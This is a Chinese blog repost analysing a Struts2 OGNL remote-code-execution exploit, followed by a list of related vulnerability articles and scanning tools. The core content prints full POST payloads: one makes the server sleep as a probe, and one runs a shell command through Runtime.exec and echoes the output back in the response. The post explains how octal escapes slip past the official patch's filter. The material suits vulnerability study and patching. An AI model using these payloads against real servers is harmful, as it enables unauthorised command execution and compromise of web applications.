`
- 浏览:
62335 次
- 性别:
- 来自:
深圳
-
貌似一夜之间struts热乎起来了,各种工具利用代码网络上到处都是。今天livers为大家带来了当前页面实现交互的shell的利用代码分析,感觉非常不错,于是乎转来与大家一起学习下。以下为原文:
大牛们不要见笑。
新的exp 构造的很精巧
以POST的方式提交绕过对输入参数的部分过滤。
('\43_memberAccess.allowStaticMethodAccess')(a)=true&(b)(('\43context[\'xwork.MethodAccessor.denyMethodExecution\']\75false')(b))&('\43c')(('\43_memberAccess.excludeProperties\75@java.util.Collections@EMPTY_SET')(c))&(d)(('@java.lang.Thread@sleep(8000)')(d))
当前线程sleep 8S
命令执行主要是通过ognl对象的上下文内置静态函数进行执行的。
如@Runtime@getRuntime().exec
@class@method 访问静态方法
xwork 的ognl语句 执行,变量必须要带有#,之前通过\0023 (16进制的#) 来绕过,官方补丁屏蔽了这种但是可以利用\43(8进制的#)进行绕过。
实现交互的shell.
('\43_memberAccess.allowStaticMethodAccess')(a)=true&(b)(('\43context[\'xwork.MethodAccessor.denyMethodExecution\']\75false')(b))&('\43c')(('\43_memberAccess.excludeProperties\75@java.util.Collections@EMPTY_SET')(c))&(g)(('\43mycmd\75\'ls\40\u002dl\'')(d))&(h)(('\43myret\75@java.lang.Runtime@getRuntime().exec(\43mycmd)')(d))&(i)(('\43mydat\75new\40java.io.DataInputStream(\43myret.getInputStream())')(d))&(j)(('\43myres\75new\40byte[51020]')(d))&(k)(('\43mydat.readFully(\43myres)')(d))&(l)(('\43mystr\75new\40java.lang.String(\43myres)')(d))&(m)(('\43myout\75@org.apache.struts2.ServletActionContext@getResponse()')(d))&(n)(('\43myout.getWriter().println(\43mystr)')(d))
\75 (=的8进制)\40(空格的8进制) ongl语句中执行的参数不允许出现空格。当然包括其他
老版本的正则 是^#=:都不允许,通杀的话是用\40来替代。
这样上面就是
1.设置上下文denyMethodExecution=false 运行方法执行
2.excludeProperties=@java.util.Collections@EMPTY_SET (@class@调用静态变量)
设置外部拦截器为空
3.mycmd=“ls -l” 定义我们的执行命令的变量
4.myret=@java.lang.Runtime@getRuntime().exec(\43mycmd)’) (调用静态方法执行我们的变量)
5.mydat=new java.io.DataInputStream(\43myret.getInputStream())’) 获取输入流 (post)
6.myres=new data[51020];mydat.readfully(myres); 读取输入流
(5,6为了转换输入流的类型)
7.mystr=new java.lang.String(#myres) ;定义并赋值输入流
8.myout=org.apache.struts2.ServletActionContext@getResponse() ;得到repsonse的数据
9.myout.getWriter().println(#mystr) ;把response的数据打印到屏幕上。
这个和 zone 上 http://zone.wooyun.org/content/200说的一致
GaRY | 2012-05-10 13:36
@livers 其实原理就和我之前用php操作fd复用链接直接生成shell一样。java更直接,因为tomcat等container和webapp几乎没界限,同一层面的东西。所以只要找到这个上下文的writer,往里面读写就ok了。
看了衰仔和 gainover他们的工具是利用方式是一样的,好巧
构造post 和绕过变量还有其他方法进行执行。
PS:其实我不懂java.
分享到:
Global site tag (gtag.js) - Google Analytics
相关推荐
Struts2远程命令执行漏洞解析 漏洞解析 远程命令 Struts2
Struts2 远程代码执行漏洞分析(S2-013) Struts2 是 Apache 官方的产品,最近出了一个远程代码执行漏洞,编号“S2-013”,目前是 0DAY,官方没有修补方案出现。这个漏洞出现在 includeParams 属性中,允许远程命令...
1. **快速检测**:该工具能够迅速扫描并检测出是否存在Struts2远程命令执行漏洞,节省了手动检查的时间和精力。 2. **批量导入验证**:对于大型网络环境,支持批量导入多个目标URL,进行批量检测,提高了工作效率。...
升级到2.3.32所用到的jar包: freemarker-2.3.22.jar ognl-3.0.19.jar struts2-convention-plugin-2.3.32.jar struts2-core-2.3.32.jar struts2-spring-plugin-2.3.32.jar xwork-core-2.3.32.jar --来源 ...
然而,Struts2在历史上曾出现过一系列的安全漏洞,其中一些是高危的,允许攻击者执行远程代码或控制系统。这个"Struts终极漏洞利用工具"显然旨在帮助安全研究人员和管理员检测和测试Struts2应用是否存在这些已知漏洞...
Struts2是一款流行的Java Web框架,它曾经曝出过一个严重的远程命令执行漏洞。 在描述中提到的"NULL"可能是指该漏洞的具体细节没有给出,但我们可以从标签"源码"和"工具"推测,这可能涉及到源代码分析和利用工具。...
struts2远程命令执行漏洞环境搭建以及录屏
Struts2和Webwork远程命令执行漏洞主要源于Apache Struts2框架中的一个设计缺陷,该框架使用OGNL(Object-Graph Navigation Language)表达式来处理用户输入,这为恶意攻击者提供了可乘之机。该漏洞发生在Struts2的...
最近,Struts2 发生了两个严重的漏洞,分别是 S2-016 和 S2-017,这两个漏洞可能会导致攻击者执行恶意代码,从而危害到网站的安全。 S2-016 漏洞是由于 Struts2 的 Ognl 表达式语言解析器存在缺陷,从而导致攻击者...
Struts2 漏洞 S2-045 修补方法 Struts2 是一个基于 Java 的 Web 应用程序框架,广泛应用于企业级应用程序中。然而,Struts2 中存在着一些漏洞,例如 S2-045 漏洞,该漏洞可能会导致严重的安全问题。今天,我们将...
《Struts 2.0.0 - Struts 2.3.14.1 URL及A标签远程命令执行漏洞探测 V1.1》 使用说明: 运行EXE程序,输入扫描站点的任意一个URL入口链接地址, 若提示扫描是否包含顶级域名下的所有页面,根据提示输入即可。 ...
其中,最著名的漏洞是CVE-2017-5638,也就是“S2-045”或“Struts Shatter”,这是一个严重影响Struts 2的远程命令执行漏洞,允许攻击者通过HTTP头注入恶意OGNL表达式,从而控制系统。 该全版本漏洞检测工具可能...
Struts2是一个基于MVC设计模式的Web...当Struts2开启devMode模式时,将导致严重远程代码执行漏洞。如果WebService启动权限为最高权限时,可远程执行任意命令,包括关机、建立新用户、以及删除服务器上所有文件等等。
本工具为漏洞自查工具,请勿非法攻击他人网站 支持S2-057 CVE-2018-11776 、S2-048 CVE-2017-9791、S2-046 CVE-2017-5638、S2-045 CVE-2017-5638、S2-037 CVE-2016-4438、 S2...https://github.com/HatBoy/Struts2-Scan
Apache Struts2 官方发布了最新的安全公告,披露了一个远程命令执行漏洞(漏洞编号:CVE-2018-11776,官方编号:S2-057),攻击者可利用漏洞实施远程命令执行攻击。特给出struct2.0-2.3.35的修复方案
然而,随着广泛的应用,Struts2也暴露出一些安全问题,其中最著名的是Struts2远程代码执行漏洞,这可能导致恶意攻击者完全控制受影响的服务器。 2018年,针对Struts2的安全漏洞,出现了多个重要的更新和补丁。...
3. **后渗透操作**:一旦漏洞被成功利用,工具可能包含进一步的脚本或命令,以便进行如文件上传、下载、系统命令执行等后渗透活动。 **防范措施** 为了防止Struts2漏洞被利用,开发者和管理员应采取以下策略: 1....
"cmd.txt" 文件可能包含了命令行参数或脚本,这些命令和脚本用于执行漏洞探测和利用过程。例如,它可能包含用于构造恶意请求的OGNL表达式,或者用于在成功利用后执行的系统命令。对于安全专家来说,分析这些命令可以...